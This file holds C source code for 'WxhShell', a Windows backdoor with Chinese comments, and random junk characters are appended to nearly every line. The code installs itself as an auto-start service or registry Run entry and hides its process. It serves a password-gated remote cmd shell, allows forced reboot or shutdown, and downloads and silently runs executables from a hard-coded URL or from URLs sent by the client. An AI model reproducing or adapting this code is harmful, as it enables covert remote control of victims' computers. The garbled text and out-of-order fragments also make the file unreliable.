    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L;7mt 4H  
    if(Boot(SHUTDOWN)) <OfzE5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c7!`d.{90  
    else { kzpbs?<;  
    closesocket(wsh); ts!aKx  
    ExitThread(0); <qY>d,+E'  
    } EXzNehO~e  
    break; lG#&1  
    } lA 0_I"b2Y  
  // 获取shell &'\+Z  
  case 's': { gt(nZ  
    CmdShell(wsh); gF5EtdN?|  
    closesocket(wsh); V46[whL%r  
    ExitThread(0); !sQ8,l0h  
    break; EZRZ)h  
  } K -1~K  
  // 退出 \ySc uT  
  case 'x': { n(S-F g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d'fpaLV  
    CloseIt(wsh); Q9zpX{JT  
    break; %,D%Q~  
    } H,` XCG  
  // 离开 `~TGVa`D  
  case 'q': { k T>}(G||  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :E`l(sI7J}  
    closesocket(wsh); F|{?GV%hF  
    WSACleanup(); 5B/\vLHg4  
    exit(1); "0)G|pZI  
    break; pT$AdvI]  
        } &uW.V+3  
  } 3h4"Rv=,  
  } )!-'SH  
e91d~  
  // 提示信息 .]c:Zt}P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Utp\}0GZY  
} )/N! {`.9  
  } (1]@ fCd +  
@Qozud\?  
  return; {_}"USS  
} J"|$V#  
8}T3Fig,q  
// shell模块句柄 )E2Lf ]  
int CmdShell(SOCKET sock) &r!>2$B\  
{ (oEA)yc|  
STARTUPINFO si; (9|K}IM:  
ZeroMemory(&si,sizeof(si)); boovCW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S @($c'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yo6IY  
PROCESS_INFORMATION ProcessInfo; 7}.(EZ0  
char cmdline[]="cmd"; YWFHiB7x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7z&u92dJI  
  return 0; `"Pd$jW  
} "ZW*O{  
SX;IUvVE5  
// 自身启动模式 y-k-E/V}  
int StartFromService(void) iO`f{?b  
{ bYH_U4b  
typedef struct -v@^6bQVp  
{ k"zHrn"$  
  DWORD ExitStatus; YaNVpLA  
  DWORD PebBaseAddress; <qx-%6  
  DWORD AffinityMask; C( ;7*]  
  DWORD BasePriority; Big-)7?  
  ULONG UniqueProcessId; J?$uNlI  
  ULONG InheritedFromUniqueProcessId; 42LV>X#i  
}   PROCESS_BASIC_INFORMATION; 75i)$}_1B  
bNgcZ V.  
PROCNTQSIP NtQueryInformationProcess; 9z}kkYk  
 ond/e&1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iJeT+}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }clNXtN  
5]+eLKXB  
  HANDLE             hProcess; &>{L"{  
  PROCESS_BASIC_INFORMATION pbi; 0AenDm@9  
XWV~6"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rE~O}2a#H  
  if(NULL == hInst ) return 0; t[~i})yS  
/ KM+PeO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !<ucwWY,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tWI hbt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c2"OpI  
PnvLXE}F  
  if (!NtQueryInformationProcess) return 0; JJXf%o0yq  
<h[^&CY{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,0xN#&?Ohh  
  if(!hProcess) return 0; u}_q'=<\  
]d FWIvC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8nM]G4H.f  
?'r[P03  
  CloseHandle(hProcess); }e)ltp|  
ERplDSfO-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ye\%o[X  
if(hProcess==NULL) return 0; 5T`39[Fya  
%## bg<  
HMODULE hMod; ;d:7\  
char procName[255]; %l,EA#89 s  
unsigned long cbNeeded; d"a`?+(Q  
&#.&xc2sRZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j!pxG5%  
@P/{x@J  
  CloseHandle(hProcess); &bb*~W-  
on|>"F`pb  
if(strstr(procName,"services")) return 1; // 以服务启动 de[_T%A  
#=rI[KI  
  return 0; // 注册表启动 $ a7^3  
} FS[CUoA  
kJ >B)  
// 主模块 Y&?]t  
int StartWxhshell(LPSTR lpCmdLine) r38CPdE;}  
{ 1Mqz+@~11  
  SOCKET wsl; zi'?FM[f)  
BOOL val=TRUE; xk9]jQ7  
  int port=0; URwFNOM2  
  struct sockaddr_in door; =n!8>8d  
klKt^h-  
  if(wscfg.ws_autoins) Install(); m6}"g[nN  
NH/H+7,o  
port=atoi(lpCmdLine); XUWza=BR"  
@EvnV.  
if(port<=0) port=wscfg.ws_port; h fNBWN  
nr}H;wB  
  WSADATA data; v{+*/NQ_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +%^D)   
[@)|j=:i:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bbnAmZ   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O<5bsKw'r  
  door.sin_family = AF_INET; Qw ED>G|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZtiOf}@i\  
  door.sin_port = htons(port); &E~7ty'  
m-K6y7t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 71eD~fNdx  
closesocket(wsl); (fl2?d5+C  
return 1; {k>m5L  
} ;X>KP,/r$  
/D~:Ufw  
  if(listen(wsl,2) == INVALID_SOCKET) { Vs(;al'  
closesocket(wsl); yl*S|= 8;k  
return 1; I]h+24_S  
} 4V=dD<3m  
  Wxhshell(wsl); h&XyMm9C  
  WSACleanup(); t}K?.To$  
;tj_vmZ@R  
return 0; "dt3peH  
F!U+IztZ   
} cCwT0O#d  
w% M0Mu  
// 以NT服务方式启动 DF#Ob( 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Og9P1jVh  
{ ) ":~`Z*@  
DWORD   status = 0; }9'rTLM  
  DWORD   specificError = 0xfffffff; Jyn>:Yq(  
J{91 t |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kZ2+=/DYN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eL],\\q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uE>}>6)b  
  serviceStatus.dwWin32ExitCode     = 0; xH0Bk<`V:  
  serviceStatus.dwServiceSpecificExitCode = 0; M@.1P<:h  
  serviceStatus.dwCheckPoint       = 0; 5D'8 l@7  
  serviceStatus.dwWaitHint       = 0; A ="h}9ok  
mu(S 9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jtA Yp3M-$  
  if (hServiceStatusHandle==0) return; @0aUWG!k  
$0WAhq  
status = GetLastError(); s%Z3Zj(,8(  
  if (status!=NO_ERROR) mZORV3bN  
{ ,ihTEw,t(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a/_ `1  
    serviceStatus.dwCheckPoint       = 0; btee;3`  
    serviceStatus.dwWaitHint       = 0; .DT1Jvl  
    serviceStatus.dwWin32ExitCode     = status; p B )nQ5l'  
    serviceStatus.dwServiceSpecificExitCode = specificError; |_-FQ~Hf F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5dhRuc  
    return; h><;TAp  
  } R|_?yV[  
Lz4iLLP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R+5x:mpHy  
  serviceStatus.dwCheckPoint       = 0;   ]3%Z  
  serviceStatus.dwWaitHint       = 0; =U?"#   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K,J:i^2  
} E*[X\70  
B1Xn <Wv  
// 处理NT服务事件,比如:启动、停止 C! :\H<gI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >2_J(vm>  
{ TkK- r(=  
switch(fdwControl) KktQA*G  
{ H4)){\  
case SERVICE_CONTROL_STOP: "g0L n5&  
  serviceStatus.dwWin32ExitCode = 0; w+Ag!O}.L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~6R| a  
  serviceStatus.dwCheckPoint   = 0; |n0 )s% 8`  
  serviceStatus.dwWaitHint     = 0; {BgGG@e  
  { m'Wz0b^BO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8c#u"qF  
  } & %1XYpA.0  
  return; &B[$l`1  
case SERVICE_CONTROL_PAUSE: ?QZ\KY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BK,= (;d3  
  break; Y6V56pOS  
case SERVICE_CONTROL_CONTINUE: q[r|p"TGov  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^>[Z~G($  
  break; RXh/[t+  
case SERVICE_CONTROL_INTERROGATE: bA1uh]oB  
  break; \4mw>8wA  
}; sz_|py?0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `_<K#AGAi  
} C^.:{  
R5qC;_0cV  
// 标准应用程序主函数 " GgK,d}%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $/6.4" j  
{ n pBpYtG  
\6*3&p  
// 获取操作系统版本 nx=Zl:Q}  
OsIsNt=GetOsVer(); u=A&n6Q[Vo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MAhcwmZNy  
J-hP4t&x  
  // 从命令行安装 8hGp?Ihu  
  if(strpbrk(lpCmdLine,"iI")) Install(); |0dmdrKD  
#R@{Bu=C  
  // 下载执行文件 ? %F*{3IP  
if(wscfg.ws_downexe) { F.K7w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m@)K]0g<f  
  WinExec(wscfg.ws_filenam,SW_HIDE); 59IxY ?  
} J'|qFS  
5|";L&`  
if(!OsIsNt) { EG2NE,,r  
// 如果时win9x,隐藏进程并且设置为注册表启动 eQNo'cz  
HideProc(); rm<(6zY  
StartWxhshell(lpCmdLine); e!Y:UB2 7u  
} /`3< @{D  
else byoDGUv  
  if(StartFromService()) [P407Sa"  
  // 以服务方式启动 a6fMx~  
  StartServiceCtrlDispatcher(DispatchTable); 8v_HIx0xu  
else \_qiUvPf\  
  // 普通方式启动 $s$z"<  
  StartWxhshell(lpCmdLine); hC=9%u{r?  
V07e29w  
return 0; BJ wPSKL  
} y#o ,Vg*V  
6*le(^y`  
)k{zRq:d  
S8^W)XgC;  
=========================================== D^$Nn*i;U  
Y[#i(5w  
H0_hQ:K   
eo4;?z  
1@im+R?a  
Pl9/1YhD/  
" '/G.^Zl9  
aj85vON1`  
#include <stdio.h> e}D#vPaSY  
#include <string.h> ]z;%%'gW6  
#include <windows.h> ORD@+ {  
#include <winsock2.h> " P c"{w  
#include <winsvc.h> s8Xort&   
#include <urlmon.h> FE,&_J"  
$_%yr ~2  
#pragma comment (lib, "Ws2_32.lib") :D`ghXj  
#pragma comment (lib, "urlmon.lib") AtGk _tpVZ  
a`|&rggN  
#define MAX_USER   100 // 最大客户端连接数 |9$K'+'  
#define BUF_SOCK   200 // sock buffer t 5g@t0$  
#define KEY_BUFF   255 // 输入 buffer wK!4:]rhG  
18jI6$DY  
#define REBOOT     0   // 重启 7;ZSeQ yC  
#define SHUTDOWN   1   // 关机 9l5l"Wj&  
^(r?k_i/  
#define DEF_PORT   5000 // 监听端口 Yh\ } i  
|f# ~#Y2v  
#define REG_LEN     16   // 注册表键长度 CXwDG_e  
#define SVC_LEN     80   // NT服务名长度 *W~+Nho.A  
]#z^G  
// 从dll定义API <nOK#;O)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,IX:u1mO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f$[6]7P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yS%IE>?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TL lR"L5  
o|F RG{TJ  
// wxhshell配置信息 J39,x=8LL  
struct WSCFG { GSj04-T"  
  int ws_port;         // 监听端口 sN.h>bd  
  char ws_passstr[REG_LEN]; // 口令 4 IuQQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no C(qqGK{  
  char ws_regname[REG_LEN]; // 注册表键名 uU=O0?'zq  
  char ws_svcname[REG_LEN]; // 服务名 a*@ 6G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f^z/s6I0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S4508l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YtI 2Vr/9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7vax[,a I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t`1E4$Bb\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C%}}~Y  
gh>'O/9  
}; <1cYz\/ !M  
*J&XM[t  
// default Wxhshell configuration LT']3w  
struct WSCFG wscfg={DEF_PORT, l( /yaZ`  
    "xuhuanlingzhe", ^dj avJ  
    1, O+~.p  
    "Wxhshell", eAR]~ NiW  
    "Wxhshell", Op%}.9ed  
            "WxhShell Service", H*BzwbM?  
    "Wrsky Windows CmdShell Service", 8DHohhN  
    "Please Input Your Password: ", +dIDFSd  
  1, ('BFy>@  
  "http://www.wrsky.com/wxhshell.exe", OLp;eb1g  
  "Wxhshell.exe" J-yj&2  
    }; {U/a h2*  
0 UdAF  
// 消息定义模块 b.V\E Ok  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |d =1|C%,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o\6A]T=R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MW*@fl<@?M  
char *msg_ws_ext="\n\rExit."; x@/ N9*  
char *msg_ws_end="\n\rQuit."; h.+{cOA;n  
char *msg_ws_boot="\n\rReboot..."; No#1Ikw  
char *msg_ws_poff="\n\rShutdown..."; %GG:F^X#  
char *msg_ws_down="\n\rSave to "; t ' _Au8  
p w(eWP  
char *msg_ws_err="\n\rErr!"; r6k0=6i  
char *msg_ws_ok="\n\rOK!"; xLhN3#^m  
S3EM6`q'  
char ExeFile[MAX_PATH]; F=)9z+l#  
int nUser = 0; s}yJkQb  
HANDLE handles[MAX_USER]; #~<cp)!3  
int OsIsNt; %6rMS}  
Q[?O+  
SERVICE_STATUS       serviceStatus; rK 9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ODa+s>a`^  
[^sv.  
// 函数声明 0Yk@O) x  
int Install(void); 3{OY&   
int Uninstall(void); H 6 i4>U*  
int DownloadFile(char *sURL, SOCKET wsh); it V@U  
int Boot(int flag); {!h|(xqN+  
void HideProc(void); 2 |lm'Hf  
int GetOsVer(void); U,Py+c6  
int Wxhshell(SOCKET wsl); ;o* n*N  
void TalkWithClient(void *cs); GPP{"6q5'  
int CmdShell(SOCKET sock); w;@DcX$]  
int StartFromService(void); XwWp4`Fd  
int StartWxhshell(LPSTR lpCmdLine); n-iy;L^b  
bV|(V>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]r++YIg!j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4JF)w;X}  
mHcxK@qw  
// 数据结构和表定义 ?z,^QjQ}  
SERVICE_TABLE_ENTRY DispatchTable[] = K6"#&0  
{ ;\~{79c  
{wscfg.ws_svcname, NTServiceMain}, qIEe7;DO  
{NULL, NULL} LS1r}cl  
}; 022nn-~  
mY[s2t  
// 自我安装 g+shz{3zvz  
int Install(void) ACQbw)tiv}  
{ OT-!n  
  char svExeFile[MAX_PATH]; m=;0NLs4  
  HKEY key; ?M2#fD]e  
  strcpy(svExeFile,ExeFile); `U:W(\L  
N$u;Q(^  
// 如果是win9x系统,修改注册表设为自启动 }<?1\k  
if(!OsIsNt) { 9nW/pv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1e=<df  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xDtq@Rb}  
  RegCloseKey(key); =apcMW(zn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #H]b Xr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g )H>Uu5@  
  RegCloseKey(key); pPr/r& r  
  return 0; rHhn)m  
    } ] Tc!=SV  
  } H"v3?g`S%  
} />1Ndj  
else { (S ~|hk^  
43_;Z| T  
// 如果是NT以上系统,安装为系统服务 j TVh`d< N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); We7~tkl(  
if (schSCManager!=0) ]WLQ q4q  
{ m$glRs @  
  SC_HANDLE schService = CreateService o)w8 ]H /  
  ( N 6CWEIJ  
  schSCManager, 4 yLC  
  wscfg.ws_svcname, C'~K amS  
  wscfg.ws_svcdisp, &=bWXNU.  
  SERVICE_ALL_ACCESS, j#KL"B_ A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `dB!Ia|  
  SERVICE_AUTO_START, ?,Z[)5 ZN  
  SERVICE_ERROR_NORMAL, -mD<8v[F  
  svExeFile, f5)4H  
  NULL, ,P G d  
  NULL, HEZgHL  
  NULL, 'n'83d)z  
  NULL, LR:Qb]|"  
  NULL J LOTl.  
  ); V=#L@ws  
  if (schService!=0) Sw##C l#  
  { '2`MT-  
  CloseServiceHandle(schService); Y6LoPJ  
  CloseServiceHandle(schSCManager); ?~G D^F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X6_m&~}15  
  strcat(svExeFile,wscfg.ws_svcname); n,KOQI;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bj6-0`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ie3 F  
  RegCloseKey(key); H)XHlO^  
  return 0; #ma#oWqF}  
    } +h!OdWD9  
  } jVh I`F{n  
  CloseServiceHandle(schSCManager); Obl']Hr{y9  
} V0'T)  
} RRYm.dMIw  
`o7m)T')  
return 1; 'G3;!xk$  
} :\ %.x3T'  
6U{&`8C  
// 自我卸载 f? sW^ d;  
int Uninstall(void) 4[@`j{  
{ gO C5  
  HKEY key; li>`9qCmI  
o_un=ygU  
if(!OsIsNt) { o+U]=q*|)$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1PwqW g-\\  
  RegDeleteValue(key,wscfg.ws_regname); ]<3$Sx_{y  
  RegCloseKey(key); qEd!g,Sx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AEjkqG4qv  
  RegDeleteValue(key,wscfg.ws_regname); 5)=XzO0  
  RegCloseKey(key); Z4eu'.r-y~  
  return 0; [/.5{|&GSt  
  } VUfV=&D-*g  
} FScE3~R  
} Q4YIKNN|7  
else { m%8idjnG  
vIk;x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _J<^'w^;%  
if (schSCManager!=0) yHvF"4]  
{ 7nh,j <~;2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H^Th]-Zl  
  if (schService!=0) 2LpJxV  
  {  ZzDE  
  if(DeleteService(schService)!=0) { 7C7eX J9q  
  CloseServiceHandle(schService); rh;@|/<l  
  CloseServiceHandle(schSCManager); u&Ze$z  
  return 0; !ueyVE$1  
  } & w{""'  
  CloseServiceHandle(schService); kYxb@Zn=|  
  } M[wd.\ %  
  CloseServiceHandle(schSCManager); Q}G'=Q]Juz  
} e}qG_*  
} 2{t i])  
z6B(}(D  
return 1; jR/YG ru  
} mp2J|!Lx  
-7_`6U2"  
// 从指定url下载文件 2l43/aCq  
int DownloadFile(char *sURL, SOCKET wsh) UL0%oJ#  
{ ]e0yC  
  HRESULT hr; @^Tof5?F?  
char seps[]= "/"; l#8SlRji  
char *token; tz(\|0WDQ  
char *file; n[zP}YRr  
char myURL[MAX_PATH]; u!in>]^  
char myFILE[MAX_PATH]; 79:Wo>C3-  
uus}NZ:*l  
strcpy(myURL,sURL); E}U[VtaC  
  token=strtok(myURL,seps); S"FIQ&n  
  while(token!=NULL) $t' .  
  { esCm`?qCP  
    file=token; ;lqtw]4v  
  token=strtok(NULL,seps); N 3IF j  
  } ?2ZggV  
b-}nv`9C  
GetCurrentDirectory(MAX_PATH,myFILE); >h3r\r\n3  
strcat(myFILE, "\\"); +dWx?$n  
strcat(myFILE, file); K\5'pp1  
  send(wsh,myFILE,strlen(myFILE),0); S4RvWTtQV  
send(wsh,"...",3,0); m&)5QX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L(tA~Z"k  
  if(hr==S_OK) _= RA-qZ"  
return 0; _is<.&f6  
else =2HR+  
return 1; & [)1LRt_  
e|:#Y^  
} J8|F8dcz  
>*ey 7g  
// 系统电源模块 #E`-b9Q  
int Boot(int flag) Z5aU7  
{ %-? :'F!1  
  HANDLE hToken; (17%/80-J  
  TOKEN_PRIVILEGES tkp; / d S!  
QG\lXY,  
  if(OsIsNt) { k%w5V>]1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +^% y&8e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ns_5|*'  
    tkp.PrivilegeCount = 1; !6_lD 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :>gzWVE<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kp") %p#  
if(flag==REBOOT) { H\A!oB,sw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &IGTCTBP  
  return 0; DXPiC[g]  
} 7Mxw0 J  
else { _RG!lmJV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eto3dJ!R  
  return 0; VO ^ [7Y  
} ~YO-GX(  
  } /60 `"xH  
  else { X+;F5b9z  
if(flag==REBOOT) { HA%% WSuf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6 W/S?F~{  
  return 0; @-dM'R6C  
} Q+/:5Z C  
else { \tFg10  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xao'L  
  return 0; \-k X-Tq  
} 2kV[A92s  
} r(`;CY]@  
(p<QRb:&Z  
return 1; '| Enc"U  
} c)8V^7=Q  
&0*l=!:G^  
// win9x进程隐藏模块 @ mm*S:Gt#  
void HideProc(void) loVUB'OSv  
{ `{fqnNJE  
Ojj:YLlY>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4HlOv % 8  
  if ( hKernel != NULL ) 8[LwG&  
  { a~YFJAkg9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L-_dq0T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zHi+I 7  
    FreeLibrary(hKernel); d=%:rLm$  
  } uG2(NwOL  
CC 1\0$ /  
return; $ wGDk  
} y'?|#%D  
/G$8j$  
// 获取操作系统版本 6zs&DOB  
int GetOsVer(void) %&KJtKe  
{ "?_adot5v  
  OSVERSIONINFO winfo; }K,:aN,44\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NVx`'Il8 "  
  GetVersionEx(&winfo); 8cn)ox|J[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9`}Wp2  
  return 1; [\CQ_qs|  
  else Ms5m.lX  
  return 0; 6U;pYWht  
} FUzIuz 6  
&fA`Od6l"  
// 客户端句柄模块 sZFIQ)b9  
int Wxhshell(SOCKET wsl) F/9]{H  
{ b_Ns Ch3@  
  SOCKET wsh; -jsNAQ  
  struct sockaddr_in client; 8 [i#x|`g  
  DWORD myID; vQ=W<>1   
\a+F/I$hwa  
  while(nUser<MAX_USER) ]#]m_+} Z  
{ Saa# Mj`M  
  int nSize=sizeof(client); \dj&4u3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PT4Xr=z =  
  if(wsh==INVALID_SOCKET) return 1; lJ@2N$w  
L%`~`3%n-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jI@0jxF  
if(handles[nUser]==0) H=]$9ZH!  
  closesocket(wsh); r,=xI` XH  
else e#Jx|Ej=  
  nUser++; #.p^ S0\pw  
  } *leQd^47  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3/8o)9f.  
DQW^;Ls  
  return 0; u`Djle  
} VKy:e.  
B`OggdE  
// 关闭 socket 6N(Wv0b $  
void CloseIt(SOCKET wsh) {snLiCl  
{ q@;WXHO0  
closesocket(wsh); a?6 r4u0  
nUser--; sKIWr{D  
ExitThread(0); b?7?iV4  
} uy\< t  
T/G1v;]  
// 客户端请求句柄 Mj |)KDL  
void TalkWithClient(void *cs) Ixm< wKwW#  
{ [dFxW6n  
XOzPi*V**  
  SOCKET wsh=(SOCKET)cs; P8!Vcy938  
  char pwd[SVC_LEN];  g#~jF  
  char cmd[KEY_BUFF]; +]H9:ARI  
char chr[1]; +U&aK dQs  
int i,j;  X>OO4SV  
Acr\2!))  
  while (nUser < MAX_USER) { dA> t  
r/=v;4.W  
if(wscfg.ws_passstr) { !q~s-~d^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <uNBsYMuC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =]E(iR_&  
  //ZeroMemory(pwd,KEY_BUFF); STu!v5XY}-  
      i=0; g[Ah> 5  
  while(i<SVC_LEN) { ;[WW,,!Y  
e/lfT?J\  
  // 设置超时 '1;Q'-/J  
  fd_set FdRead; aWek<Y~+  
  struct timeval TimeOut; @uz&]~+`  
  FD_ZERO(&FdRead); t/WauY2JUC  
  FD_SET(wsh,&FdRead);  Y2vzK;  
  TimeOut.tv_sec=8; qC?J`   
  TimeOut.tv_usec=0;  WwbE xn<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ntkTrei ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s<'^ @Y  
K"Vv=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A/RHb^N  
  pwd=chr[0]; k\|G%0Jw  
  if(chr[0]==0xd || chr[0]==0xa) { <aa# OX  
  pwd=0; I<|)uK7  
  break; E-_)w  
  } mbv\Gn#>  
  i++; ,@%1q)S?A  
    } Ei Wy`H;  
S%uH*&`  
  // 如果是非法用户,关闭 socket sR,]eo<p&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *X\i= K!  
} 1i#uKKwE  
r&)/3^S '  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0F=UZf&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xksQMS2#  
LtbL[z>]  
while(1) { EHkb{Q8  
n l Xg8t^G  
  ZeroMemory(cmd,KEY_BUFF); MBs]<(RJZ  
WK0?$[|=r  
      // 自动支持客户端 telnet标准   \k0%7i[nZ/  
  j=0; VJBVk8P  
  while(j<KEY_BUFF) { ZT4._|2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AuHOdiJ  
  cmd[j]=chr[0]; ?XL[[vyr  
  if(chr[0]==0xa || chr[0]==0xd) { Ya*lq! u  
  cmd[j]=0; lxj_ (Uo  
  break; G U~?S'{  
  } @!fy24R]D  
  j++; 0#F3@/1h  
    } *D #H-]9  
LgRx\*[C*  
  // 下载文件 "5%G [MB  
  if(strstr(cmd,"http://")) { ^ $Q',  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \c/jp5=}  
  if(DownloadFile(cmd,wsh)) k#R}^Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %75|+((fC  
  else znhe]&Fw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ma@ws,H  
  } YNc%[S[u^1  
